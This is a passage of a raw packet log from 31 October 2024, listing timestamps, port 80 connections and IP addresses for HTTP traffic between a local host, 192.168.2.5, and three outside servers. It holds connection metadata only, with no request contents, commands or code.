Oct 31, 2024 02:08:21.444120884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444133043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444144011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444154978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444166899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444175005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.444202900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.444238901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444251060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444262981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444283009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.444310904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444322109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444333076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444344997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444350004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.444356918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444377899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444380045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.444401026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.491137981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.602446079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:09:03.407515049 CET	49964	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:03.412389040 CET	80	49964	185.215.113.43	192.168.2.5
Oct 31, 2024 02:09:03.412472010 CET	49964	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:03.412601948 CET	49964	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:03.417380095 CET	80	49964	185.215.113.43	192.168.2.5
Oct 31, 2024 02:09:04.309189081 CET	80	49964	185.215.113.43	192.168.2.5
Oct 31, 2024 02:09:04.309246063 CET	49964	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:05.832313061 CET	49964	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:05.832642078 CET	49977	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:05.837425947 CET	80	49977	185.215.113.43	192.168.2.5
Oct 31, 2024 02:09:05.837522984 CET	49977	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:05.837536097 CET	80	49964	185.215.113.43	192.168.2.5
Oct 31, 2024 02:09:05.837587118 CET	49964	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:05.837801933 CET	49977	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:05.842560053 CET	80	49977	185.215.113.43	192.168.2.5
Oct 31, 2024 02:09:06.756910086 CET	80	49977	185.215.113.43	192.168.2.5
Oct 31, 2024 02:09:06.757097960 CET	49977	80	192.168.2.5	185.215.113.43
Oct 31, 2024 02:09:06.760469913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:06.765285969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:06.765376091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:06.765520096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:06.770230055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633800983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633825064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633836031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633893013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.633907080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633919001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633924961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.633930922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633943081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633960962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633964062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.633971930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633985043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.633986950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.634011984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.634032965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.638828039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.638850927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.638885021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.638902903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.771392107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.771404982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.771416903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.771469116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.771483898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.771485090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.771497011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.771513939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.771522045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.771524906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.771536112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.771554947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.771565914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.772237062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.772286892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.772346973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.772357941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.772368908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.772423029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.772814989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.772828102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.772838116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.772862911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.772886038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.888427019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.888453007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.888464928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.888485909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.888504028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.888516903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.888533115 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.888561964 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.889041901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.889054060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.889065981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.889098883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.889137983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.889400005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.889447927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.889461040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.889472008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.889482975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:07.889504910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:07.889533997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.005563974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.005578041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.005589008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.005640984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.005655050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.005656004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.005666018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.005677938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.005690098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.005825996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.005825996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.006421089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.006432056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.006448030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.006460905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.006475925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.006496906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.006937981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.006948948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.006958961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.007142067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.122308969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.122320890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.122330904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.122343063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.122381926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.122414112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.122416973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.122426033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.122456074 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.122488976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.122888088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.122899055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.122909069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.122934103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.122956038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.123279095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.123289108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.123300076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.123317957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.123330116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.123337030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.123347998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.123375893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.123955965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.123967886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.123980999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.124015093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.124027014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.239192963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.239216089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.239227057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.239245892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.239269972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.239373922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.239386082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.239397049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.239423037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.239437103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.239445925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.239459038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.239505053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.239505053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.240077972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.240098000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.240130901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.240151882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.240164042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.240175009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.240180016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.240186930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.240209103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.240758896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.240771055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.240782022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.240812063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.240823030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.355988979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.355999947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356030941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356035948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356069088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356070995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356080055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356107950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356384993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356431961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356445074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356487036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356554031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356564999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356576920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356591940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356609106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356625080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356900930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356919050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356930971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356945992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356960058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356971979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.356972933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.356981039 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.357001066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.357023954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.357588053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.357599974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.357610941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.357621908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.357630968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.357712030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.472908020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.472919941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.472930908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.472966909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.472997904 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.473030090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473040104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473069906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.473203897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473215103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473227978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473242998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473243952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.473253965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473268032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.473301888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.473767042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473777056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473829985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.473896980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473913908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473923922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.473944902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.473973036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.474179983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.474196911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.474210024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.474220037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.474222898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.474251032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.589786053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.589843988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.589857101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.589883089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.589894056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.589916945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.589957952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.589971066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.589982033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.589986086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.589998007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.590023994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.590295076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590343952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.590363026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590404034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.590496063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590507984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590518951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590543985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.590616941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.590730906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590742111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590751886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590770006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590778112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.590783119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.590807915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.590826035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.630876064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.630887032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.630897999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.630914927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.631037951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.706706047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.706727982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.706737995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.706749916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.706801891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.706813097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.706892014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.707223892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707235098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707246065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707273960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707284927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707304001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.707304001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.707334042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.707763910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707775116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707787991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707798958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707808971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.707815886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.707839012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.707855940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.748007059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.748020887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.748053074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.748064041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.748075008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.748076916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.748197079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824099064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824166059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824176073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824177980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824215889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824225903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824232101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824259996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824290037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824358940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824402094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824405909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824414015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824450016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824462891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824474096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824485064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824497938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824507952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824527025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824539900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.824553967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.824577093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.825150967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.825201035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:08.825222015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:08.825263023 CET	49982	80	192.168.2.5	154.216.17.34
